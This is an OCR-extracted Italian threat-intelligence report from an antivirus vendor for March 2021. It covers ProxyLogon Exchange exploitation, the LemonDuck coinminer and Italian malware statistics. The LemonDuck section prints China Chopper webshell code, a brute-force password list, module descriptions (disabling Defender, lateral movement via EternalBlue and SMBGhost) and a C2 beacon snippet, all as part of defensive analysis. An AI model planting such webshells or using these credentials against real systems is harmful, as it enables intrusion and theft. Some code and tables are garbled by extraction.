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Panorama delle minacce in Italia a marzo

Nel mese di marzo i mal-
ware maggiormente
veicolati e che rappre-
sentano minacce con-
crete per qualsiasi uten-
te sono, in particolare,
QakBot (18C), LokiBot e
FormBook (12C), UrSnif
e AgentTesla (11C).

Il pezzo forte del mese
di marzo sono gli attac-
chi ai Server Microsoft
Exchange che il Centro
Centro Ricerche Anti-
Malware #CRAM di
#TGSoft ha analizzato
con particolare atten-

zione.

Si e registrato un note-
vole incremento di at-
tacchi Ransomware che,
per la maggior parte
sono attacchi mirati con
accesso via RDP
“maldestramente” con-
figurati dove i CyberCri-
minali, una volta guada-
gnato 'accesso all’infra-
struttura, hanno potuto
agire indisturbati
“Human-operated ran-
somware attacks”.

In questo numero, visto
il notevole incremento

di attacchi Ran-
somware, ci siamo volu-
ti soffermare su come
sia necessario proteg-
gersi da queste minacce
poiché e I'unico modo
per evitare di dover, ne-
cessariamente, pagare il
riscatto...
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TG Soft Cyber Security Specialist & produttore della suite di si-
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Proteggiamo il tuo business dai
cyber-criminali
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Al giorno d’oggi sono sempre
piu frequenti gli attacchi Cyber
perpetrati contro le aziende. TG
Soft analizza e cataloga queste
minacce rilasciando report setti-
manali e mensili, dove vengono
illustrati i trend del momento.

Il C.R.A.M. (Centro Ricerche An-
ti-Malware) di TG Soft raccoglie
i dati della telemetria inviati dal
software anti-virus Vir.IT eXplo-
rer installato sui propri utenti/
clienti e le informazioni di inve-
stigazione sui casi di attacchi
informatici, per avere un qua-
dro aggiornato della Cyber-
Security in Italia.

Il C.R.A.M. acronimo di Centro Ricerche Anti-Malware di TG Soft

ha come obiettivi:

e PROMUOVERE e DIFFONDERE nel nostro Paese la cultura e la con-
sapevolezza della Sicurezza Informatica in tutti i suoi aspetti.

e SUGGERIRE e PROPORRE atteggiamenti consapevoli e coerenti
sulla Sicurezza Informatica e in particolare comportamenti da te-
nere, sia da parte degli utenti sia da parte dei consulenti informati-
ci, per evitare di essere colpiti da virus/malware informatici;

e PROMUOVERE, ISTITUIRE e FAVORIRE iniziative per la formazione
e la sensibilizzazione su vari temi della Sicurezza Informatica, in
particolare tramite 'organizzazione di seminari e la pubblicazione
di documenti e articoli relativi alla Sicurezza Informatica.

inlk AN

Cyber-Threat Intelligence e Infection Rate

Seguici sui social:

L’indice che misura lo stato del-
la Cyber-Security & I'Infection
Rate (IR), che & la percentuale
degli utenti dell’anti-virus Vir.IT
eXplorer che hanno incontrato
una minaccia che sia stata se-
gnalata al C.R.A.M. di TG Soft.

L’Infection Rate pud essere cal-
colato su un sotto-insieme di
dati, ad esempio su un deter-

minato sistema operativo, for-
nendo informazioni su quale
possa essere il sistema operati-
vo da considerarsi piu sicuro. Le
informazioni raccolte e analizza-
te ci permettono di determina-
re la tipologia degli attacchi, la
frequenza con cui avvengono,
la loro distribuzione e evoluzio-
ne nel breve e lungo periodo.

“Infection Rate: é la percentuale

degli utenti che hanno incontrato

almeno una minaccia segnalata al
C.RA.M. di TG Soft”


https://it.linkedin.com/organization-guest/company/tg-soft
https://twitter.com/VirITeXplorer
https://www.facebook.com/pages/VirIT-eXplorer/120981677976475
https://www.tgsoft.it/tgsoft_home.asp
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A marzo gli analisti del C.R.A.M. di TG Soft hanno risposto a varie richieste di Incident Response legate
ad una massiva campagna del Bot/CoinMiner noto come LemonDuck.

E’ stata subito individuata una correlazione tra la presenza del CoinMiner nella rete e la presenza di
Server di posta elettronica Microsoft Exchange.

Tutti i server Microsoft Exchange analizzati risultavano essere (o essere stati) vulnerabili ad una serie
di recenti falle di sicurezza di tipo 0-day corrette da Microsoft attraverso gli aggiornamenti di Win-
dows nei primi giorni di Marzo 2021.

Le vulnerabilita utilizzate sono state classificate con i seguenti CVE: CVE-2021-26855, CVE-2021-26857,
CVE-2021-26858, e CVE-2021-27065.

Vediamo nello specifico cosa permettono di fare queste vulnerabilita:

CVE-2021-26855: € una vulnerabilita di tipo SSRF (Server-side request forgery) che consente all’attac-
cante di autenticarsi al server Exchange effettuando particolari chiamate HTTP.

CVE-2021-26857: questa vulnerabilita consente di eseguire codice come SYSTEM sul server Exchange
sfruttando una deserializzazione insicura.

CVE-2021-26858 e CVE-2021-27065: sono vulnerabilita di “scrittura di file arbitraria” post autenticazio-
ne. Permettono quindi di scrivere un file in qualsiasi percorso/cartella sul server Ex-
change.
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’uso combinato delle vulnerabilita “CVE-2021-26855” e “CVE-2021-27065” e stato nominato dai suoi
scopritori come “ProxyLogon”.

Il bug “ProxyLogon” & stato scoperto dal ricercatore del team di ricerca “DEVCORE” chiamato
“Orange Tsai (link: https://twitter.com/orange 8361)”.

E’ possibile trovare la timeline degli eventi nel sito ad esso dedicato disponibile a questo indirizzo
WEB: https://proxylogon.com/#timeline. Come si pud notare la disclosure a Microsoft & stata effettua-
ta il 05 gennaio 2021.

In base alla timeline Microsoft aveva intenzione di rilasciare gli aggiornamenti relativi a Microsoft Ex-
change con il “Patch Tuesday”” del 9 marzo 2021.

La societa Volexity il 2 marzo 2021 pero ha pubblicato I’articolo “Operation Exchange Marauder: Active
Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities (link: https://www.volexity.com/
blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/)”” dove indicava
che la vulnerabilita CVE-2021-26855 era gia in uso da parte di CyberCriminali a partire da inizio gennaio
2021.

Microsoft infatti dopo che si e resa conto che la vulnerabilita era utilizzata “in-the-wild”, & stata co-
stretta ad anticipare la pubblicazione della Patch di Microsoft Exchange, che & stata infatti rilasciata il
3 marzo 2021.

Da un punto di vista CyberCriminale queste vulnerabilita permettono di svolgere varie attivita malevo-
le tra cui:

= Furto di credenziali e/o furto di file ed informazioni riservate (spionaggio)
= Human-operated Ransomware (DoejoCrypt, DearCry, Black KingDom, ecc.)
= Esecuzione di altri Malware

= Inserimento di ulteriori Backdoor, WebShell, ecc...

In prima battuta il gruppo noto per utilizzare questa serie di 0-day per prendere il controllo dei server
di posta elettronica Microsoft Exchange & stato battezzato da Microsoft con il nome di “HAFNIUM”.

Chi € HAFNIUM ?

Hafnium & un gruppo CyberCriminale atto principalmente ad attivita di Cyber Spionaggio contro azien-
de di tutto il mondo.

Secondo Microsoft (LINK: https://blogs.microsoft.com/on-the-issues/2021/03/02/new-nation-state-
cyberattacks/) il gruppo “state-sponsored” sembra operare dalla Cina.
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HAFNIUM non é il solo

Queste gravi vulnerabilita che non sono state patchate in rapidita dagli amministratori di sistema, so-
no state utilizzate molto rapidamente da molti altri gruppi CyberCriminali. Uno di questi & il gruppo
che veicola il Bot/CoinMiner noto come LemonDuck.

Come opera LemonDuck

In passato il Bot/CoinMiner veniva veicolato principalmente via email con campagne di Malspam.

La presenza pero delle falle sopra citate ha dato un’arma in piti a questo gruppo che ha sfruttato subi-
to 'occasione per diffondersi massivamente.

Sfruttando le vulnerabilita il CyberCriminale come prima fase iniziale dell’attacco inocula nel server at-
taccato una o piu WebShell che gli permettono di mantenere un accesso persistente al sistema anche
se dovesse poi essere patchato.

L’exploit consente I'esecuzione di un comando senza autenticazione che permette di creare un file
ASPX di configurazione della Rubrica offline (OAB) di Microsoft Exchange, contenente un particolare

valore dell'URL esterno, ne vediamo | gyternalus: http://f/<script language="JScript" runat="server">function

un esempio di seguito: Page Load(){eval(Request["<stringa RANDOM>"],"unsafe");}</script>

Questa WebShell nota come “China Chopper” permette di eseguire eventuali comandi inseriti nel pa-
rametro dell’lURL “<stringa_ RANDOM>" effettuando una semplice chiamata HTTP.

Il comando inserito nel parametro infatti al caricamento della pagina sara passato alla funzione eval()
che lo eseguira con i permessi di SYSTEM.

Sienotatoin <script language="JScript" runat="server">

alcuni casi I'inse- | function Page Load(){

var ghaywa="xkenGyfugFcshhao8iN4TY lniPieef9jjjgjd";

var Tqccce=gbaywa(7) + gbaywa(3) + gbaywa(11) + gbaywa(14) + gbaywa(29) +
riori differenti gbaywa(28);

WebShell in lin- eval(Request["YwO5555gV5"],Tqcecc);

. )
guaggio ASPX | </script>
per mantenere

rimento di ulte-

un accesso <script language="JScript" runat="server">
function Page Load(){

esterno al Ser- var alwJAZ="5cenMffuyVgsShaNB6DQwiizi019ef9jjWj1l";

ver, ne vediamo var cPeccXw=alwJAZ(7) + alwJAZ(3) + alwJAZ(11) + alwJAZ(14) + alwJAZ(29) +
. . |alwIAZ(28);
alcuni esempi: | ? )
un P! eval(Request]"x550b5505y"],cPceXw);
}
</script>

In seguito avendo la possibilita di esecuzione di comandi da remoto sia direttamente attraverso I’ex-
ploit sia utilizzando ulteriori WebShell che operano con i permessi assegnati a Microsoft Exchange ov-
vero di SYSTEM (massimi permessi), il gruppo CyberCriminale esegue dei comandi di PowerShell che
scaricano da un server remoto il Payload principale del malware.
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| MODULI di LemonDuck

I moduli principali del malware LemonDuck sono sviluppati in linguaggio Powershell. Sono fortemente

offuscati e cifrati per renderne difficile il rilevamento/intercettazione da parte dei sistemi di sicurezza.

I moduli (if.bin, kr.bin, m6.bin ) sono in grado di eseguire svariate attivita e sono stati man mano arric-

chiti di nuove funzionalita atte allo spostamento laterale, al brute forcing, mining, ecc.

Vediamo di seguito le funzioni del modulo denominato “if.bin” (infection) di LemonDuck

Comando [ Sottomodulo

| Funzione

Descrizione

sc & sco

Task di Windows per pianificare il download/aggiornamento di LemonDuck da differenti
domini

ipc_cmd & ipco_cmd

Script Powershell che:

= Disabilita la protezione in tempo reale di Windows Defender

= Esclude C: dal controllo di Windows Defender

= Esclude il processo di powershell dal controllo di Windows Defender
= Contatta il dominio di LemonDuck alla pagina 7p.php, ipc.jsp e ipco.jsp

base core

Script Powershell che:
= Disabilita la protezione in tempo reale di Windows Defender
= Contatta il dominio di LemonDuck alla pagina ipc.jsp

mssql_cmd & mssqglo_cmd

Script Powershell che contatta il dominio di LemonDuck alla pagina ms.jsp e mso.jsp

blue3_bin_b64 Modulo binario a 32 bit contenente una ShellCode.

blue6_bin_b64 Modulo binario a 64 bit contenente una ShellCode.

jsb64 Script VBS che esegue uno script powershell che contatta il dominio di LemonDuck alle
pagine 7p.php e usb.jsp

batb64 Script Batch che esegue uno script powershell che contatta il dominio di LemonDuck alle

pagine 7p.php e ipc.jsp

rdp_cmd & rdpo_cmd

Script Powershell che:

= Disabilita la protezione in tempo reale di Windows Defender

= Esclude il processo di powershell dal controllo di Windows Defender

= Contatta il dominio di LemonDuck alla pagina 7p.php, rdp.jsp.jsp e rdpo.jsp

ssh_cmd & ssho_cmd

Comando bash di Linux che attraverso curl identifica la macchina e contatta il dominio di
LemonDuck alla pagina core.png

redis_cmd & rediso_cmd

Comando bash di Linux che attraverso curl contatta il dominio di LemonDuck alla pagina
core.png?rds e core.png?rdso

smgh_cmd & smgho_cmd

Script Powershell che:

= Disabilita la protezione in tempo reale di Windows Defender

= Esclude C: dal controllo di Windows Defender

= Esclude il processo di powershell dal controllo di Windows Defender
= Contatta il dominio di LemonDuck alla pagina smgh.jsp e smgho.jsp

yarn_cmd & yarno_cmd

Comando bash di Linux che attraverso curl contatta il dominio di LemonDuck alla pagina
core.png?yarn e core.png?yarno

logic_cmd & logico_cmd

Script Powershell che:

= Disabilita la protezione in tempo reale di Windows Defender

= Esclude C: dal controllo di Windows Defender

= Esclude il processo di powershell dal controllo di Windows Defender
Contatta il dominio di LemonDuck alla pagina logic.jsp e logico.jsp
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Sotto-modulo
EternalBlue

Questo sotto-modulo utilizza il tools PingCastle per individuare le macchine che hanno condivisioni
attive per effettuare poi I’exploit EternalBlue del protocollo SMB per effettuare lo spostamento latera-
le.

Sotto-modulo
SMBGhost

Questo sotto-modulo sfrutta la vulnerabilita SMBGhost (CVE-2020-0796) per effettuare lo spostamen-
to laterale.

Sotto-modulo
MSSQL

Questo sotto-modulo effettua il BruteForcing delle password del servizio database Microsoft SQL.

Sotto-modulo
RDP

Questo sotto-modulo é costituito da 3 classi:

= BRUTE (Esegue il brute force delle credenziali della connessione RDP)
= User32Helper
= CMD (Esegue un comando con questa tecnica: apre il menu di Windows, copia il comando nella

Clipboard (CTRL+C), incolla il comando (CTRL+V) nella barra “esegui” del Ment di Windows, simula
il tasto INVIO (ENTER) per eseguire il comando richiesto, svuota la Clipboard copiando una stringa
vuota.

Sotto-modulo
USB

Questo sotto-modulo viene utilizzato per infettare le chiavette USB con il malware LemonDuck.
All’interno della chiavetta vengono creati dei link dove vengono utilizzati i moduli blue3_bin_b64 e
blue6_bin_b64

geth

Sotto-modulo che utilizza PowerDump per estrarre gli hash di autenticazione dell’utete.

Sotto-modulo
SSH brute

Sotto-modulo che utilizza Putty per effettuare il bruteforcing delle credenziali dell’ utente “root” del
protocollo SSH.

localscan

Sottomodulo che effettua una scansione della rete locale per individuare i PC/SERVER con porta 445
aperta.

Sotto-modulo
Redis brute

Questo sotto-modulo effettua il BruteForcing delle password del servizio Redis (Remote Dictionary
Server).

Sotto-modulo
Yarn brute

Questo sotto-modulo effettua il BruteForcing delle password del servizio Yarn (Package Manager).

Sotto-modulo
Logic brute

Questo sotto-modulo effettua il BruteForcing delle password di Oracle WebLogic Sever.

Gen-NTLM

Sotto-modulo che genera un hash NTLM

mimi.dat

Scarica nella cartella %temp? il file mimi.dat che contiene il tools Mimikatz codificato in base64

Nellimmagine sottostane I’elenco della password utilizzate da LemonDuck, a cui vengono aggiunte

quelle esfil-

trate alla
macchina
infetta

"saadmin","123456","test1","zinch","g czechout","asdf","Aal123456.","dubsmash","password","PA
SSWORD","123.com","admin@123","Aal23456","qwer12345","Huawei@123","123(@abc","gold
en","123!@#qwe","1qaz@WSX","Ab123","1qaz! QAZ","Admin123"," Administrator"," Abc123","

Admin@123","999999","Passw0rd","123qwe! @#","football","welcome","1","12","21","123","321
"'1234","12345" "123123","123321","111111","654321","666666","121212","000000","222222","
888888","1111","555555","1234567","12345678","123456789","987654321","admin","abc123","a
bed1234""abed@1234","abe@ 123" ,"p@ssword","P@ssword","p@sswlrd","P@sswOrd","P@SS

WORD","P@SSWORD","P@wO0rd","P@word","iloveyou","monkey","login","passwOrd","master",
"hello","qazwsx","password1","Password1","qwerty","baseball","qwertyuiop","superman"," 1 qaz2w

sx","fuckyou","123qwe","zxcvbn","pass", "aaaaaa","love","administrator","qwe1234A","qwe1234a

""123123123","1234567890","88888888","111111111","112233","a123456","123456a","5201314"
S 1g2w3edr”,"qwel23","al123456789","123456789a","dragon","sunshine","princess"," | @#$%" & *"
,"charlie","aal23456","homelesspa"," 1g2w3e4rS5t","sa","sasa","sa123","sql2005","sa2008","abc","a
bedefg","sapassword","Aal2345678"," ABCabc123","sqlpassword","sql2008","11223344" "admin8
88","qwe1234" "A123456","OPERADOR","Password123","test123","NULL", "user","test","Passw

ord01","stagiaire","demo","scan","P@sswOrd123","xerox","compta"
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Vediamo di seguito le funzioni del modulo denominato “kr.bin” (killer) di LemonDuck

Questo script viene utilizzato per terminare tutti i servizi/task/processi del malware LemonDuck utiliz-
zati in precedenza.

Lista dei possibili nomi dei servizi usati da LemonDuck

“xWinWpdSrv", "SVSHost", "Microsoft Telemetry", "lsass", "Microsoft", "system",
"Oracleupdate", "CLR", "sysmgt", "\gm", "WmdnPnSN", "Sougoudl","National", "Nationaaal",
"Natimmonal", "Nationaloll",
"Nationalmll","Nationalaie","Nationalwpi","WinHelp32","WinHelp64", "Samserver",
"RpcEptManger", "NetMsmgActiv Media NVIDIA", "Sncryption Media
Playeq","SxS","WinSvc","mssecsve2.1","mssecsve2.0","Windows Update","Windows
Managers","SveNlauser”,"WinVaultSve"," Xtfy"," Xtfya"," Xtfyxxx","360rTys","IPSECS","MpeSvc"
,"SRDSL","WifiService","ALGM","wmiApSrvs","wmiApServs","taskmgr1","WebServers","Expre
ssVNService","WWW.DDOS.CN.COM","WinHelpSves","aspnet_staters","clr_optimization"," AxI
nstSV","Zational","DNS Server","Serhiez"," SuperProServeﬁ",".Net
CLR","WissssssnHelp32","WinHasdadelp32","WinHasdelp32","ClipBooks

Lista dei possibili nomi dei Task usati da LemonDuck

"myl","Mysa", "Mysal", "Mysa2", "Mysa3", "ok", "Oracle Java", "Oracle Java Update",

nn

"Microsoft Telemetry", "Spooler SubSystem Service", "Oracle Products Reporter", "Update service
for products", "gm",

"ngm","Sorry","Windows Update","Update_windows","WindowsUpdatel","WindowsUpdate2","
WindowsUpdate3"," AdobeFlashPlayer","FlashPlayer1","FlashPlayer2","FlashPlayer3","IIS","Wind
owsLogTasks","System Log Security
Check","Update","Updatel","Update2","Update3","Update4","DNS","SYSTEM","DNS2","SYSTE
Ma","skyemd","Miscfost","Netframework","Flash","RavTask","GooglePingConfigs","HomeGroup
Provider","MisctfostNsi","WwANsvc","Bluetooths","Ddrivers","DnsScan"," WebServers","Credenti
als","TablteInputout","werclpsyport","HispDemorn","LimeRAT-Admin","DnsCore","Update

service for Windows Service", "DnsCore", "ECDnsCore"

Lista dei possibili nomi dei processi usati da LemonDuck

"SC","WerMgr","WerFault","DW20","msinfo", "XMR*","xmrig*", "minerd", "MinerGate",

"non

"Carbon", "yamm1", "upgeade", "auto-upgeade", "svshost", "SystemlIIS", "SystemIISSec",
"WindowsUpdater*", "WindowsDefender*", "update", "carss", "service", "csrsc", "cara", "javaupd",
"gxdrv", "lsmosee", "secuams", "SQLEXPRESS X64 86", "Calligrap", "Sqlceqp", "Setting",
"Uninsta","conhoste","Setring","Galligrp","Imaging","taskegr"," Terms.EXE","360","8866","9966",
"9696","9797","svchosti","SearchIndex"," Avira","cohernece","win","SQLforwin","xig*","taskmgr|

nmn

" "Workstation","ress","explores"
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Vediamo di seguito le funzioni del modulo denominato “mé6.bin” & “mé6g.bin” (miner) di LemonDuck

I moduli “mé6.bin” & “m6g.bin” vengono utilizzati per effettuare il mining di Monero, il primo attraver-
so la CPU mentre il secondo attraverso la scheda grafica (GTX, NVIDIA, GEFORCE oppure Radeon,
AMD).

00165240 72 €B TR 00 00 Q0 00 00 &3 T2 T8 TO T4 6F 6E €69 rkz..... cryptoni
Q0165250 &7 €8 74 2ZF €3 €3 78 00 63 €6E 2F €3 €3 78 00 00 ght/ccx.cnfccx..
00le5260 €3 72 79 70 74 €F 6E €9 &7 68 74 2F &3 &F 6E €3 cryptonight/conc
0015270 &5 €1 &C 00 00 00 OO0 00 &3 6E ZF €3 &F 6E &3 &5 eal.....cnf/conce
00165280 €1 &C Q0 QOO0 OO0 QO Q0 00 &9 6E 76 €61 &C 69 64 00 al......inwvalid.
001653290 00 00 0% Q0 QA OO O3 Q0 04 00 05 1C Fe 03 00 00 ............0...
001e32R0 6D eF 6E €5 72 &F 00 00 78 €D 72 00 €1 72 71 60 monero..xmr.ardgm
001e52B0 €1 00 00 OO0 €1 72 71 00 64 ©5 72 &F 00 OO0 00 00 a...arqg.dero....
001e32C0 B €5 Te €1 00 Q0 00 00 72 61 Te 65 6E 63 6F €69 keva....ravencol
00165200 ©E OO0 00 00 72 €1 Te &5 6E 00 00 00 72 76 6E 00 n...raven...Ivno.
001e32E0 €3 eF 6E 63 €5 61 6C Q0 OO0 OO QO OO0 OO0 OO0 00 00 conceal.........

[ modulo inoltre setta i DNS ai seguenti valori:

= 8.8.8.8

= 9.9.9.9

Nella figura sottostante possiamo vedere 2 schermate, in primo piano quella relativa all’attivita di mi-
ning mentre su quella in secondo piano I'attivita di Brute forcing / port scanning.

diff 3ee6e alg x/f 2327415

diff
diff

t 2327418

diff
diff

diff

diff

diff
diff
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La PERSISTENZA di LemonDuck

Il malware LemonDuck effettua la persistenza nella macchina infetta attraverso le seguenti metodolo-
gie:
= Task di Windows

= WMI (Windows Management Instrumentation)

= Servizi

Pit interessante dei tre € la tecnica dei WMI, che sfrutta 3 classi WMI per avviare gli script del mal-
ware:

= class CommandLineEventConsumer (script da eseguire)
= class __FilterToConsumerBinding (binding tra script ed evento di esecuzione)

= class __EventFilter (evento di esecuzione, nel caso di LemonDuck ogni 60 minuti)

Perche e stato chiamato LemonDuck ?

[l malware & stato chiamato LemonDuck per via dell’User-Agent utilizzato per I'invio delle informazioni
al server di Comando & Controllo, vediamo di seguito un esempio:

$webclient = Ne'w-Obj ect Net.WebC ' lient
$finalurl = "Surl"+"?"+"$params"

try{
Swebclient.Headers.add("User-Agent","Lemon-Duck-"+$Lemon_Duck.replace('\','-"))

} catch{}

$res_bytes = Swebclient. DownloadDataSfinalurl)

Cyber-Threat Report 11
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Conclusioni

L’obbiettivo del malware LemonDuck ¢ quello di effettuare il furto di credenziali di autenticazione,
password, attacchi di BruteForcing e di sfruttare la macchina infetta per effettuare Mining di Crypto-
Valuta (Monero).

Il CyberCriminale di LemonDuck dimostra sofisticate skill utilizzando vari exploit come EternalBlue e
SMBGhost per lo spostamento laterale ed ha colto subito I’occasione di sfruttare anche le vulnerabili-
ta di Microsoft Exchange (ProxyLogon).

La vulnerabilita ProxyLogon di Microsoft Exchange che & stata segnalata a Microsoft ad inizio gennaio
2021, e stata corretta con il rilascio delle Patch ad inizio marzo 2021, in anticipo rispetto alla normale
programmazione in quanto utilizzata “in-the-wild”.

Sebbene le Patch per le vulnerabilita siano state rese disponibili da Microsoft, si nota una scarsa appli-
cazione di queste che comunque una volta effettuato I’aggiornamento, risolvono i Bug ma, nel caso la
macchina sia stata precedentemente colpita, NON rimuovono eventuali malware gia presenti.

Come si € notato infatti, i CyberCriminali, lasciano Backdoor, WebShell e/o altri Malware che gli con-
sentono di mantenere un accesso remoto non autorizzato sul Server colpito anche dopo aver applica-
to le Patch di Microsoft.

E’ percio fondamentale a seguito dell’applicazione della Patch, far effettuare un controllo di sicurezza
del Server ad analisti specializzati in grado di rilevare eventuali Backdoor, WebShell e/o altri Malware
e di mettere in sicurezza definitiva il Server.

TG Soft Cyber Security Specialist non solo svi-
luppa la Suite AntiVirus Vir.IT eXplorer PRO ma
fornisce anche servizi di analisi e Threat Intelli-
gence mettendo a disposizione la propria tren-
tennale esperienza attraverso il proprio team
di Analisti [#CRAM], per chi avesse necessita di
effettuare ’analisi di Incident Response del Ser-
ver cosi da rilevare tempestivamente e rimuo-
vere eventuali Malware/Backdoor/WebShell

ecc. inoculati dai CyberCriminali.

PS: Anche nel mese di aprile 2021 i problemi a Microsoft Exchange sono continuati, infatti sono state
pubblicate altre 2 vulnerabilita (CVE-2021-28480 e CVE-2021-28481) scoperte dall’NSA (National
Security Agency) e corrette con I’aggiornamento cumulativo del 13 aprile 2021.
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Statistiche Malware

| dati della telemetria del C.R.A.M. di TG Soft sono
raccolti dagli utenti che utilizzano il software anti-
virus Vir.IT eXplorer. Le segnalazioni derivano da
attacchi bloccati oppure malware riscontrati all'in-
terno del parco macchine monitorato. Ogni minac-
cia identificata da Vir.IT eXplorer viene classificata
in famiglie e in cluster di malware. Ogni cluster di
malware puo contenere uno o piu samples, ad
esempio Office.VBA.Macro_Heur raggruppa centi-
naia o migliaia di macro virus distinti.

Nel mese di marzo, il numero di cluster spiccalil
volo sfiorando le 5500 unita (oltre il 10% in pil ri-
spetto a febbraio), dato palesemente piu alto da
ottobre 2020.

A fondo pagina invece possiamo vedere I’anda-
mento giornaliero delle infezioni in Italia.

L’inizio del mese come sempre mostra un dato
sostanzioso dovuto alle scansioni automatiche dei
sistemi. Altra conferma i picchi settimanali del lu-
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nedi che si contrappongono ai ribassi dei fine setti-
mana (tutti sotto il valore 500).

N. di Cluster Malware negli ultimi 6 mesi 2020-10 [ 2021-03
6000
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5000 ".\‘—\/
4500
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6_60& éé&z & & e&\%‘o ﬁo‘ 29 ‘}{b&o
¢ &€ & &

Analizzando le singole settimane spicca decisa-
mente il dato di giovedi 11 marzo, evento che si &
ripetuto con meno vigore il giovedi successivo (19
marzo).

Nella quarta settimana invece dopo il noto picco
del lunedi i valori sono solo diminuiti fino a sabato.
Nell’ultima settimana, possiamo constatare un pic-
co iniziale molto basso che decresce fino a fine
mese.

Infezioni giornaliere - marzo 2021
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Nel grafico sottostante vediamo le statistiche rela-
tive al mese di marzo 2021 suddivise per “Tipologia
Malware” riscontrate in Italia.

Con il termine malware intendiamo qualsiasi tipo-
logia di software malevolo che possa arrecare
danno al sistema informatico.

I malware si suddividono in diverse tipologie: Ad-
ware, Backdoor, Trojan, Worm, Virus, PUA/PUP,
Deceptor, etc.

Nel mese di marzo il dato pil interessante e il vi-
stoso aumento della categoria MACRO VIRUS che
sale a16,87% (+7,99%) e si appropria della terza po-
sizione nella Top10. TROJAN sempre primi con
27,69% (-1,55%) e PUP che nonostante la marcata
flessione (-5,2%) seguono con il 23,87% . Gli AD-
WARE vengono scalzati dal podio e finiscono al
quinto posto con il 13,4% (-1,69%). La categoria AL-
TRO con il 13,96% (+1,45%) risale invece al quarto
posto.
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Nelle posizioni di rincalzo della Top10 si conferma-
no in sesta posizione i DECEPTOR (1,84%), in setti-
ma i WORM (0,85%). Seguono in ordine le catego-
rie BACKDOOR (0,68%), DIALER (0,55%) e per ulti-
ma HTML con lo 0,45%.

TROJAN, PUP e MACRO VIRUS compongono il po-
dio del mese, assieme coprono il 68,43% delle infe-
zioni di marzo.

I TROJAN si consolidano
in prima posizione, 2° e 3°
posizione per PUP ed
ADWARE che nell’insieme
superano i 2/3 delle
infezioni di marzo

Tipologie Malware 2021-03

0,85%  oegy | 43*

| _0,41%

1,84%

\‘,

= TROJAN

= PUP

= MACRO VIRUS
ALTRO

= ADWARE

= DECEPTOR

= WORM

= BACKDOOR

= BHO

= HTML
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Analizziamo le statistiche di marzo dei singoli Mal-
ware. Al primo posto sale a pieno titolo Offi-
ce.VBA_Macro_Heur che sfiora il 10% delle rileva-
zioni (9,85%). Si tratta di un dato ottenuto tramite
I'analisi euristica e riguarda i file contenenti macro
potenzialmente pericolose di diverse famiglie di
malware. Questo dato cosi in crescita ¢ il segnale
che molti attacchi ai sistemi sono stati eseguiti con
I’invio di file creati tramite gli strumenti del pac-
chetto office quali Word, Excel e PowerPoint.

Al secondo posto troviamo un malware della cate-
goria VIRUS, si tratta del Win32.Delf.F, che attacca
i file eseguibili nel sistema contaminandoli con co-
dice malevolo. Da notare che un virus molto simile
e nella Top10 in ottava posizione e porta il nome di
Win32.Sality.BH. Scalzato dal primo al terzo posto

9,85%
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il PUP.Win32.MindSpark.F con il 4,91% delle infezio-
ni. Segue al quarto posto un altro malware della
categoria PUP ovvero il Pup.Win32.CheatEngine.A
conil 2,42%. Tra i PUP in classifica segnaliamo il
PUP.Win32.Conduit.B in settima posizione e il
PUP.Win32.InstallerWizard.A a chiudere la Top10.

| MALWARE della TOP10 sfiorano il 30%
delle infezioni di marzo, un balzo di oltre
I’8%. Il rimanente 70% é dato da altri 4948

cluster di malware.

Al quinto posto un nome che ciricorda i temuti file
excel identificati come X97M.Ursnif.CUT. Ursnif &
capace di sottrarre informazioni dal sistema come
le password della posta elettronica.

Sesta posizione nella Top1o di
marzo per il VBS.Agent.G

(1,43%).

Riepilogando i dati di marzo,
nella Top1o troviamo ancora:

4 tipologie differenti di PUP;

2 tipologie di MACRO VIRUS;

2 tipologie di VIRUS;

1 una sola tipologia di TROJAN;

1 una tipologia della categoria
ALTRI.

| malware nella Top10 rappre-
sentano il 29,72% delle infezioni
di Marzo un balzo in alto di ol-
tre 8 punti percentuali (8,35%),
il rimanente 70,28% & dato da
altri 4948 cluster di malware.
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Marzo 2021 - ITALIA

Analizziamo ora le campagne di malware veicolate Tale flessione & stata quasi interamente assorbita
via email nel mese di marzo. dalla categoria TROJAN che passa dal 24,12% di

Anche in questo caso possiamo suddividere le sta- febbraio al 28,36% di marzo (+4,24%).

tistiche per tipologia e singolo malware.

Le rimanenti campagne che includono tutte le ca-
oo . rie non espl he compongono la tipo-
Dal grafico sottostante si evince nuovamente il tegorie non espletate e che compongono la tipo

primato inattaccabile della categoria MACRO VI- logia ALTRO, seppur in crescita, si attestano

) o, o/ 0 .
RUS, sempre oltre il 70% seppur con un calo del all’1,20% (+0,26% rispetto a febbraio) , mantenendo

un valore percentuale decisamente residuale ri-
spetto a MACRO VIRUS e TROJAN.

4,5% rispetto al mese di febbraio.

Tipologie Malware 2021-03
Campagne Malspam

® MACRO VIRUS
B TROJAN

® ALTRO
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Passando alle statistiche delle campagne di
malspam per singolo malware, troviamo ben 5 va-
rianti con X97M, un dato che sta ad indicare un
forte utilizzo di file allegati visualizzabili mediante
I’applicativo Excel di Microsoft.

Le prime due posizione sono infatti
X97M.Ursnif.CUT e X97M.Dwnldr.CSC ma come

Rispetto al mese precedente i
valori in cima alla classifica han-
no perso notevoli punti percen-
tuali, [a variante
X97M.Ursnif.CUT ottiene infatti

il 17,46% mentre nel mese prece- .,\g§\
. <
dente la variante al comando > s
B oS
vantava il 22,58%. o
SN
Se poi sommiamo le percentuali &S -
di tutte le varianti di Ursnif (2) di
marzo presenti nella Top10 ot-
teniamo un valore paria 23,62% <SS

contro il 41,72 di febbraio (3 va-
rianti).

[ valori nella Top10 sono stati re
-distribuiti verso il basso, infatti
nessun indice e sotto il punto percentuale, un da-
to che conferma la presenza significativa di piu
varianti nell’arco del mese.

Sono lontani ormai i tempi in cui Emotet con le sue
campagne soffocava nettamente le altre.

Complessivamente, raffrontando il mese di feb-
braio e I’attuale mese di marzo, nella Top1o di feb-
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anticipato troviamo al quarto posto anche
X97M.Ursnif.CTY. Lo stesso vale per I'ottava e la
nona posizione dove troviamo X97M.Dwnldr.CUM
e X97M.Dridex.CTW.

Non compaiono nella Top10 di marzo varianti con
la sigla W97M che identificano file allegati visualiz-
zabili con I’'applicativo WORD di Microsoft.

17,46%
14,21%

10,92%

braio ricadevano un totale di 380 campagne di

malspam (il 60,82% del totale), mentre nella Top1o
di marzo ricadono un totale di 400 campagne di
malspam (il 62,46% del totale). Tenendo conto an-
che che il mese di marzo & composto da piu giorni,
si puo affermare che ’landamento mensile & stato
pressoché identico.

Cyber-Threat Report
